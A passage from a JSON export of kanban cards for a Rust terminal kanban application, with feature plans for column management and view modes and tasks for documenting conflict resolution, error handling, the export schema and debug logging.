confirmation                                                                       │ │\n- handle_move_column_up() - Reorder columns (decrease position)                                                                      │ │\n- handle_move_column_down() - Reorder columns (increase position)                                                                    │ │\n- handle_toggle_task_list_view() - Switch between view modes                                                                         │ │\n- create_column() - Logic to add column to board                                                                                     │ │\n- rename_column() - Logic to update column name                                                                                      │ │\n- delete_column() - Logic to remove column (move cards to first column)                                                              │ │\n- reorder_columns() - Update position fields                                                                                         │ │\n                                                                                                                                     │ │\nUpdate: crates/kanban-tui/src/handlers/detail_view_handlers.rs                                                                       │ │\n- Add KeyCode::Char('5') handler for BoardFocus::Columns in BoardDetail                                                              │ │\n- Add BoardFocus::Columns to handle_board_detail_key()                                                                               │ │\n                                                                                                                                     │ │\nUpdate: crates/kanban-tui/src/handlers/card_handlers.rs                                                                              │ │\n- Modify handle_toggle_card_completion() to move card to last column if columns exist                                                │ │\n- Add fallback to current behavior if only one column exists                                                                         │ │\n                                                                                                                                     │ │\n5. Export/Import (kanban-tui/src/export/)                                                                                            │ │\n                                                                                                                                     │ │\nUpdate: models.rs and exporter.rs / importer.rs                                                                                      │ │\n- Ensure columns are properly serialized/deserialized                                                                                │ │\n- Handle migration from boards without column definitions                                                                            │ │\n                                                                                                                                     │ │\n6. Board Initialization                                                                                                              │ │\n                                                                                                                                     │ │\nUpdate: crates/kanban-tui/src/handlers/board_handlers.rs                                                                             │ │\n- When creating board with create_board(), automatically create default columns:                                                     │ │\n  - \"TODO\" (position 0)                                                                                                              │ │\n  - \"Doing\" (position 1)                                                                                                             │ │\n  - \"Complete\" (position 2)                                                                                                          │ │\n                                                                                                                                     │ │\nKey Bindings                                                                                                                         │ │\n                                                                                                                                     │ │\nBoard Detail View                                                                                                                    │ │\n                                                                                                                                     │ │\n- 5 - Open Column Management (new BoardFocus::Columns)                                                                               │ │\n- e - Edit columns (when focused on Columns panel)                                                                                   │ │\n                                                                                                                                     │ │\nColumn Management View                                                                                                               │ │\n                                                                                                                                     │ │\n- ESC - Return to Board Detail                                                                                                       │ │\n- n - Create new column                                                                                                              │ │\n- r - Rename selected column                                                                                                         │ │\n- d - Delete selected column (with confirmation)                                                                                     │ │\n- j/k or ↓/↑ - Navigate columns                                                                                                      │ │\n- J or Ctrl+Down - Move column down in order                                                                                         │ │\n- K or Ctrl+Up - Move column up in order                                                                                             │ │\n                                                                                                                                     │ │\nTask List View                                                                                                                       │ │\n                                                                                                                                     │ │\n- v - Open view selection dialog (Flat / Grouped by Column / Column View)                                                            │ │\n- View preference saved per board                                                                                                    │ │\n                                                                                                                                     │ │\nImplementation Sequence                                                                                                              │ │\n                                                                                                                                     │ │\n1. Domain models - Update Board, Column, add TaskListView enum                                                                       │ │\n2. Board initialization - Auto-create default columns on board creation                                                              │ │\n3. App state - Add new modes, focus types, selections                                                                                │ │\n4. Column handlers - Implement all column management logic                                                                           │ │\n5. UI rendering - Add column management view and popups                                                                              │ │\n6. Task list views - Implement three view modes (Flat, Grouped, Column)                                                              │ │\n7. Card completion - Update to move to last column                                                                                   │ │\n8. Export/Import - Update serialization to handle new fields                                                                         │ │\n9. Testing - Verify column CRUD, reordering, view switching, card movement                                                           │ │\n                                                                                                                                     │ │\nSuggestions for Future Enhancements                                                                                                  │ │\n                                                                                                                                     │ │\n- WIP limits per column (already in Column model, just needs UI)                                                                     │ │\n- Customizable column colors                                                                                                         │ │\n- Archive columns instead of delete                                                                                                  │ │\n- Column templates for new boards                                                                                                    │ │\n\nMove Card\n---\n\n1. Manual Card Column Movement (H/L keys):\n   - H (Shift+h) - Moves selected card to the previous (left) column\n   - L (Shift+l) - Moves selected card to the next (right) column\n   - Focus tracking: The card selection stays on the moved card after movement\n   - Edge case handling: Warns if already at first/last column\n 2. Updated Card Completion Behavior (c key):\n   - When pressing c on a card:\n       - If the board has multiple columns: Moves card to the last column AND marks it as Done\n     - If the board has only 1 column: Just toggles the status (fallback behavior)\n   - Works for both single card completion and multi-select completion\n   - Cards moved to the last column are automatically marked as complete\n 3. UI Updates:\n   - Footer help text now shows: H/L: move card\n   - All functionality is ready to use\n\n How It Works:\n\n The implementation intelligently:\n - Sorts columns by position to determine left/right\n - Calculates the new position in the target column (appends to end)\n - Updates the card's column_id and position\n - Re-sorts the card list and finds the moved card's new index\n - Updates the selection to track the moved card\n\n The code compiles successfully and is ready for testing! 🎉\n \n Three interfaces\n ---\n Implement task list view modes rendering:                                                                                            │ │\n\n1. Refactor render_main function to check view mode:                                                                                 │ │\n  - For Flat and Grouped views: Keep current 2-panel layout (Projects 30% | Tasks 70%)                                               │ │\n  - For ColumnView/Kanban: Hide projects panel, use full width for kanban board                                                      │ │\n  - Check board.task_list_view to determine layout                                                                                   │ │\n2. Refactor render_tasks_panel function to route based on view:                                                                      │ │\n  - Match on board.task_list_view enum                                                                                               │ │\n  - Call appropriate rendering function:                                                                                             │ │\n      - Flat → existing flat list logic                                                                                              │ │\n    - GroupedByColumn → new grouped rendering                                                                                        │ │\n    - ColumnView → new kanban rendering                                                                                              │ │\n3. Implement Grouped by Column view (render_tasks_grouped_by_column):                                                                │ │\n  - Get sorted columns for the board                                                                                                 │ │\n  - For each column:                                                                                                                 │ │\n      - Render column name as a header (styled/bold, e.g., \"TODO (3 tasks)\")                                                         │ │\n    - Filter cards by column_id                                                                                                      │ │\n    - Render cards under that header                                                                                                 │ │\n  - Handle card selection across all groups (track global index)                                                                     │ │\n4. Implement Column/Kanban view (render_tasks_kanban_view):                                                                          │ │\n  - Takes full area (no projects panel)                                                                                              │ │\n  - Split area into N vertical panels (one per column)                                                                               │ │\n  - Calculate equal-width constraints dynamically based on column count                                                              │ │\n  - For each column panel:                                                                                                           │ │\n      - Render as bordered panel with column name as title                                                                           │ │\n    - Filter cards by column_id                                                                                                      │ │\n    - Render cards in that panel                                                                                                     │ │\n  - Handle card selection (track which card across all columns in order)                                                             │ │\n  - Navigation: j/k moves through all cards left-to-right, top-to-bottom                                                             │ │\n5. Update card selection tracking:                                                                                                   │ │\n  - Keep card_selection as simple index into flat sorted list                                                                        │ │\n  - All views use same underlying sorted card list                                                                                   │ │\n  - Just render differently based on view mode                                                                                       │ │\n6. Handle edge cases:                                                                                                                │ │\n  - Empty columns in grouped/kanban view (show placeholder text)                                                                     │ │\n  - Selection persistence when switching views                                                                                       │ │\n  - Proper focus indicators in all modes                                                                                             │ │\n  - Projects panel focus: disabled in kanban mode (only Cards focus active)                                                          │ │\n─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\n\n2025-10-18 12:24:25\n---\n\nOpening the view selection dialogue should not be possible unless a board has been activated.\n\n\n",
        "due_date": null,
        "id": "90f8121a-045f-47fd-b8fe-bb0e5b7662b1",
        "points": 2,
        "position": 29,
        "priority": "Critical",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155906Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Add column definitions",
        "updated_at": "2025-10-21T21:47:36.557991Z"
      },
      {
        "card_number": 65,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-21T21:11:29.062050Z",
        "created_at": "2025-10-19T00:07:27.116385Z",
        "description": null,
        "due_date": null,
        "id": "6eea863d-df28-4ab0-9ff5-3878c448a99a",
        "points": 3,
        "position": 29,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155916Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "ci split 2",
        "updated_at": "2025-10-21T21:11:29.062052Z"
      },
      {
        "card_number": 156,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-12-23T00:29:33.873922Z",
        "description": "## Context\nThe current conflict resolution uses `LastWriteWinsResolver` in `kanban-persistence/src/conflict/resolver.rs`. When external file changes are detected via `FileWatcher` (`watch/file_watcher.rs`), the system compares `saved_at` timestamps from `PersistenceMetadata`.\n\n## Current Behavior\n1. `JsonFileStore::save()` checks `last_known_metadata` (Mutex-wrapped) before writing\n2. If file changed externally, `KanbanError::ConflictDetected` is raised\n3. TUI shows dialog: \"Keep Local\" or \"Reload from Disk\"\n4. Last-write-wins means the newer `saved_at` timestamp wins\n\n## Documentation Required\nCreate `docs/CONFLICT_RESOLUTION.md` covering:\n- How conflict detection works (mtime + size + content hash triple-check)\n- Scenarios where data loss occurs:\n  - Two instances edit different cards simultaneously → one set of changes lost\n  - Rapid saves within same second → timestamp collision possible\n  - Network filesystems with clock skew\n- Why proper solutions (OT/CRDT) are complex for this use case\n- Recommendation: \"Single-instance recommended for data integrity\"\n\n## Files to Reference\n- `crates/kanban-persistence/src/conflict/detector.rs` - FileMetadata struct\n- `crates/kanban-persistence/src/conflict/resolver.rs` - LastWriteWinsResolver\n- `crates/kanban-persistence/src/watch/file_watcher.rs` - ChangeDetector trait\n- `crates/kanban-tui/src/app.rs` - conflict dialog handling\n\n## Acceptance Criteria\n- [ ] New docs/CONFLICT_RESOLUTION.md with clear warnings\n- [ ] README.md updated with link and brief warning\n- [ ] Code comments in resolver.rs explaining limitations",
        "due_date": null,
        "id": "70c361c5-f5f8-4ec6-a206-e29ca5911f2a",
        "points": 3,
        "position": 29,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743025734Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2025-12-23T00:31:51.248218Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989180497Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743026019Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989180921Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Document conflict resolution limitations",
        "updated_at": "2026-04-04T23:33:28.989181862Z"
      },
      {
        "card_number": 62,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-21T21:11:29.959218Z",
        "created_at": "2025-10-18T20:50:38.307753Z",
        "description": "these cards are also tangentially part of the changes made for this one\n\n- KAN-59/hitting-c-to-complete-a-card-doesnt-move-it-to-the-last-column\n- MVP-7/add-column-definitions\n\n---\n\nWe should really get card relations going\n",
        "due_date": null,
        "id": "10a07993-862e-4dfa-ae9f-73a65145bd6c",
        "points": 3,
        "position": 30,
        "priority": "High",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155915Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "ci improvements",
        "updated_at": "2025-10-21T21:11:29.959218Z"
      },
      {
        "card_number": 64,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2025-10-18T23:13:45.804096Z",
        "description": null,
        "due_date": null,
        "id": "38f49d18-e53a-4df6-b1d2-13bb7044b5d0",
        "points": 1,
        "position": 30,
        "priority": "Low",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155915Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "create task in the focused column",
        "updated_at": "2025-10-21T21:48:13.559356Z"
      },
      {
        "card_number": 138,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-12-04T21:18:03.661653Z",
        "description": "Creating a board triggers 4 commands:\n\n  - Create board\n  - Create column \"TODO\"\n  - Create column \"Doing\"\n  - Create column \"Complete\"\n\n  Each command queues a snapshot → 4 saves. This could be optimized to batch them into 1 save.\n",
        "due_date": null,
        "id": "74fa27ca-332c-4f31-8990-6f0ece3d32da",
        "points": 2,
        "position": 30,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264723Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245018Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374960Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264724Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784626Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374960Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.743018113Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784626Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989143494Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743018362Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989143772Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Saving improvements",
        "updated_at": "2026-04-04T23:33:28.989144912Z"
      },
      {
        "card_number": 422,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-05-11T18:55:47.571166781Z",
        "description": "Currently tracing is initialised in three separate, divergent places:\n\n1. init_tracing_cli() — kanban-cli/src/app.rs\n   - Writes to KANBAN_DEBUG_LOG file (if set) at debug level, otherwise stderr at warn level\n   - No in-memory layer\n\n2. init_tracing_tui() — kanban-cli/src/app.rs\n   - Same file/stderr branching as CLI\n   - Additionally layers InMemoryLogLayer (kanban-tui::error_log) for in-TUI error display\n   - Takes Arc<Mutex<ErrorLogState>> as parameter\n\n3. Inline in McpServer::run() — kanban-mcp/src/server.rs\n   - Simpler: stderr only, no file fallback, info default level (not warn/debug)\n   - No in-memory layer\n\nGoal: extract a single shared init_tracing() that all three paths call, so cross-cutting startup logging (e.g. build info) has one place to live.\n\nSuggested interface:\n  fn init_tracing(in_memory: Option<Arc<Mutex<ErrorLogState>>>)\n\n- None  -> CLI / MCP path (no in-memory layer)\n- Some  -> TUI path (adds InMemoryLogLayer)\n\nThe MCP default level (info) vs CLI/TUI default (warn/debug) can be handled via an additional parameter or RUST_LOG env var — worth deciding at implementation time.\n\nWhere to put it: kanban-cli/src/app.rs is fine if MCP imports it, but a better home may be a new kanban-tracing (or kanban-logging) crate, or kanban-core if the dependency is acceptable. Decide at implementation time.\n\nOnce consolidated, add log_build_info() as the last call inside the shared function — this was the original motivation (KAN-421 scoped it out because the shared root didn't exist yet).",
        "due_date": null,
        "id": "2eafc218-88aa-4d51-80ef-b6055f7bbfe9",
        "points": null,
        "position": 31,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846352853Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "Consolidate tracing init into a shared root function",
        "updated_at": "2026-05-11T23:24:13.846353483Z"
      },
      {
        "card_number": 160,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-12-23T00:30:15.988617Z",
        "description": "## Context\nCLI outputs JSON for scripting, but schema is undocumented. Users need stable guarantees.\n\n## Current JSON Structures (from codebase analysis)\n\n### Board Export\nFields: id (uuid), name, description, sprint_prefix, card_prefix, task_sort_field (enum), task_sort_order (enum), prefix_counters (map), sprint_counters (map), created_at, updated_at\n\n### Card Structure\nFields: id, column_id, title, description, priority (Low|Medium|High|Critical), status (Todo|InProgress|Blocked|Done), position, points (0-255), card_number, sprint_id, assigned_prefix, card_prefix, sprint_logs, completed_at, created_at, updated_at\n\n### Column Structure\nFields: id, board_id, name, position, wip_limit, created_at, updated_at\n\n### Sprint Structure\nFields: id, board_id, sprint_number, name_index, prefix, card_prefix, status (Planning|Active|Completed|Cancelled), start_date, end_date, created_at, updated_at\n\n## Documentation to Create\n1. `docs/JSON_SCHEMA.md` - Human-readable with examples\n2. `schemas/` directory with JSON Schema files for validation\n3. Versioning strategy (SemVer for schema changes)\n\n## Files to Create\n- `docs/JSON_SCHEMA.md` - comprehensive schema docs\n- `schemas/board.schema.json` - JSON Schema for Board\n- `schemas/card.schema.json` - JSON Schema for Card\n- `schemas/column.schema.json` - JSON Schema for Column\n- `schemas/sprint.schema.json` - JSON Schema for Sprint\n- `schemas/envelope.schema.json` - V2 file format wrapper\n\n## Acceptance Criteria\n- [ ] All domain types documented with examples\n- [ ] JSON Schema files for programmatic validation\n- [ ] CLI `--schema` flag to output schema\n- [ ] Version field in schema for compatibility tracking",
        "due_date": null,
        "id": "2d2f65ed-22d3-4f27-85cf-3b6bbb71db14",
        "points": 3,
        "position": 31,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743035975Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2025-12-23T00:31:51.248415Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989089601Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743036230Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989089866Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Document JSON export schema",
        "updated_at": "2026-04-04T23:33:28.989090999Z"
      },
      {
        "card_number": 161,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-12-23T00:30:20.014007Z",
        "description": "## Context\nError handling uses `KanbanError` enum in `kanban-core/src/error.rs` with `thiserror`. Recovery procedures are undocumented.\n\n## Error Types to Document\n- Connection(String) - Future: DB/network errors\n- NotFound(String) - Entity lookup failures\n- Validation(String) - Invalid input\n- Io(std::io::Error) - File operations\n- Serialization(String) - JSON parse/write failures\n- Internal(String) - Unexpected states\n- ConflictDetected { path, source } - External file modification\n\n## Failure Scenarios to Document\n\n### 1. Corrupted JSON File\n- Cause: Disk corruption, incomplete write, manual edit error\n- Current behavior: Serialization error, app won't start\n- Recovery: Check for .v1.backup, use kanban export, manual JSON repair\n\n### 2. Disk Full During Atomic Write\n- Cause: Filesystem at capacity during temp file write\n- Current behavior: Io error in atomic_writer.rs\n- Recovery: Original file preserved, free disk space and retry\n\n### 3. External Editor Crash\n- Cause: $EDITOR crashes during card description edit\n- Current behavior: Edit cancelled, original preserved\n- Recovery: Automatic - no data loss\n\n### 4. File Permission Errors\n- Cause: Read-only file, directory permissions\n- Current behavior: Io error with OS message\n- Recovery: chmod fix, check directory ownership\n\n### 5. File Watcher Failure\n- Cause: Too many watches (ulimit), unsupported filesystem\n- Current behavior: Warning logged, continues without watching\n- Recovery: Increase ulimit, use polling mode\n\n## Documentation to Create\n- `docs/ERROR_HANDLING.md` with all scenarios\n- Troubleshooting section in README\n- Error codes table with recovery steps\n\n## Acceptance Criteria\n- [ ] All KanbanError variants documented\n- [ ] Recovery procedure for each failure mode\n- [ ] Troubleshooting guide with common issues\n- [ ] Error messages improved with actionable hints",
        "due_date": null,
        "id": "2ecf443d-8347-4e78-b923-981a9758e7da",
        "points": 3,
        "position": 32,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-03-25T00:22:42.743038465Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2025-12-23T00:31:51.248418Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989204188Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.743038720Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989204448Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Document error handling behavior",
        "updated_at": "2026-04-04T23:33:28.989205394Z"
      },
      {
        "card_number": 429,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-05-11T21:52:19.453155076Z",
        "description": "## Problem\n\n`ImportEntities` in `kanban-domain` is a 99-line command that does three distinct things: loads all existing entity IDs into HashSets (read orchestration), validates no duplicates (validation), and upserts all incoming entities in order (write orchestration). It has no rollback on partial failure — a mid-import store error leaves data in a partially-imported state.\n\n```rust\n// crates/kanban-domain/src/commands/board_commands.rs:214-319\nimpl ImportEntities {\n    pub fn execute(&self, context: &CommandContext) -> KanbanResult<()> {\n        // Loads existing IDs for 5 entity types into HashSets\n        // Validates each import entity type for collisions (fail-fast per type)\n        // Upserts boards → columns → cards → archived cards → sprints → graph\n        // No rollback if any upsert fails\n    }\n}\n```\n\n## Existing structure\n\nThe service layer already wraps this domain command:\n\n- `KanbanContext::import_board()` at `crates/kanban-service/src/context.rs:1300` — currently delegates to `BoardCommand::Import(ImportEntities { ... })`\n- `KanbanContext::snapshot()` / `apply_snapshot()` at `context.rs:129-135` — existing rollback primitives, reusable for safe imports\n\nThis refactor is **invert the wrap**: pull the validation/upsert orchestration up into the existing service method, add snapshot-based rollback, and remove the `ImportEntities` command.\n\n## SOLID Solution\n\n**Single Responsibility**: Validation, deduplication, and upsert orchestration are three separate concerns — each independently testable.\n\n**Open-Closed**: New importable entity types should not require modifying the command — the service composes new steps.\n\n**Dependency Inversion**: Domain should not orchestrate bulk operations. Individual upsert operations are the domain interface; the service composes them.\n\n### Step 1 — Extract pure duplicate validator into new domain module\n\n```rust\n// crates/kanban-domain/src/import.rs (new file)\npub struct ImportPayload { ... }\npub struct ExistingIds { ... }\npub struct DuplicateError { pub entity_type: &'static str, pub id: Uuid }\n\npub fn validate_no_duplicates(\n    payload: &ImportPayload,\n    existing: &ExistingIds,\n) -> Result<(), DuplicateError> {\n    // pure function — no I/O, fully testable\n}\n```\n\n### Step 2 — Remove `ImportEntities` from domain\n\nRemove the struct and its execute impl from `board_commands.rs` (lines 214-319). Remove the variant from `BoardCommand` enum. The domain retains individual `upsert_*` operations on `DataStore`.\n\n### Step 3 — Replace body of existing `import_board()` with rollback-safe orchestration\n\n```rust\n// crates/kanban-service/src/context.rs\nimpl KanbanContext {\n    pub async fn import_board(&mut self, payload: ImportPayload) -> KanbanResult<()> {\n        let existing = self.load_existing_ids().await?;\n        validate_no_duplicates(&payload, &existing)\n            .map_err(|e| KanbanError::validation(...))?;\n        let snapshot = self.snapshot().await?;\n        let result = self.import_inner(payload).await;\n        if result.is_err() { self.apply_snapshot(snapshot).await?; }\n        result\n    }\n}\n```\n\n## Files to modify\n\n- `crates/kanban-domain/src/commands/board_commands.rs` — remove `ImportEntities` (lines 214-319)\n- `crates/kanban-domain/src/import.rs` — new file with payload types and validator\n- `crates/kanban-domain/src/lib.rs` — `pub mod import;`\n- `crates/kanban-service/src/context.rs` — replace body of existing `import_board()` at line 1300\n\n## Caller surfaces to verify\n\n- `crates/kanban-tui/src/app/mod.rs:2222-2277` — TUI `import_board_from_file()`\n- `crates/kanban-mcp/src/lib.rs:1091-1096` — MCP `tool_import_board()`\n\n## Tests\n\n- Unit: `validate_no_duplicates()` collision cases for each entity type\n- Integration: `KanbanContext::import_board()` end-to-end with real store\n- Integration: Partial failure mid-import rolls back to pre-import state (new test)\n\n## Cascade primitives note\n\nIf this lift produces any bulk, validation-bypassing operations that are only valid when executed in a specific sequence, those primitives belong in `cascade_commands` rather than their per-entity module — not because of the entity type, but because of the ordering invariant. Regular commands are self-contained and independently valid; cascade primitives are not.",
        "due_date": null,
        "id": "0a57a2f0-c5ae-4336-8725-5e08c4f16e1c",
        "points": null,
        "position": 32,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846362448Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "Lift ImportEntities orchestration into service layer",
        "updated_at": "2026-05-12T20:41:36.938588807Z"
      },
      {
        "card_number": 423,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-05-11T19:00:37.594602255Z",
        "description": "Add developer-facing documentation covering how to capture and interpret debug logs.\n\nDepends on KAN-422 (consolidated tracing init) being merged first — the docs should reflect the final, stable logging setup rather than the current three-path state.\n\n## Suggested location\n\nA new '## Debugging' section in CONTRIBUTING.md. If it grows large enough it can be extracted to a dedicated DEBUGGING.md and linked from CONTRIBUTING.md.\n\n## Content to cover\n\n### Capturing logs\n\nExplain the two env vars:\n- KANBAN_DEBUG_LOG=<path>  — redirects logs to a file (required for TUI, which owns the terminal)\n- RUST_LOG=<level>         — controls verbosity (warn / debug / trace)\n\nShow the canonical invocation:\n  RUST_LOG=trace KANBAN_DEBUG_LOG=/tmp/kanban.log kanban my-board.json\n\n### Log level reference\n\n| Level | What is logged |\n|-------|----------------|\n| warn  | default — unexpected conditions only |\n| debug | persistence events, file-watch, save coordination, build info (after KAN-422) |\n| trace | everything above + raw key events (every keypress) |\n\n### Reading key event traces\n\nExplain the 'raw key event' trace lines: code, kind (Press/Release/Repeat), modifiers.\nShow what a healthy vs broken Windows key filter looks like in the log (one line vs two per keypress).\n\n### Useful grep patterns\n\n  grep 'raw key event' /tmp/kanban.log\n  grep -o 'kind=[^ ]*' /tmp/kanban.log | sort | uniq -c\n  grep -v 'raw key event' /tmp/kanban.log   # suppress key noise, see everything else\n\n### Cross-platform notes\n\nNote that RUST_LOG=trace with the TUI running produces one trace line per keypress — this can be noisy in long sessions. Recommend grepping rather than reading raw.",
        "due_date": null,
        "id": "f5fc9c4f-db50-4cce-910f-d848a9eab6bc",
        "points": null,
        "position": 32,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846374086Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "Add logging/debugging documentation",
        "updated_at": "2026-05-11T23:24:13.846374572Z"
      },
      {
        "card_number": 425,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-05-11T19:26:13.762468055Z",
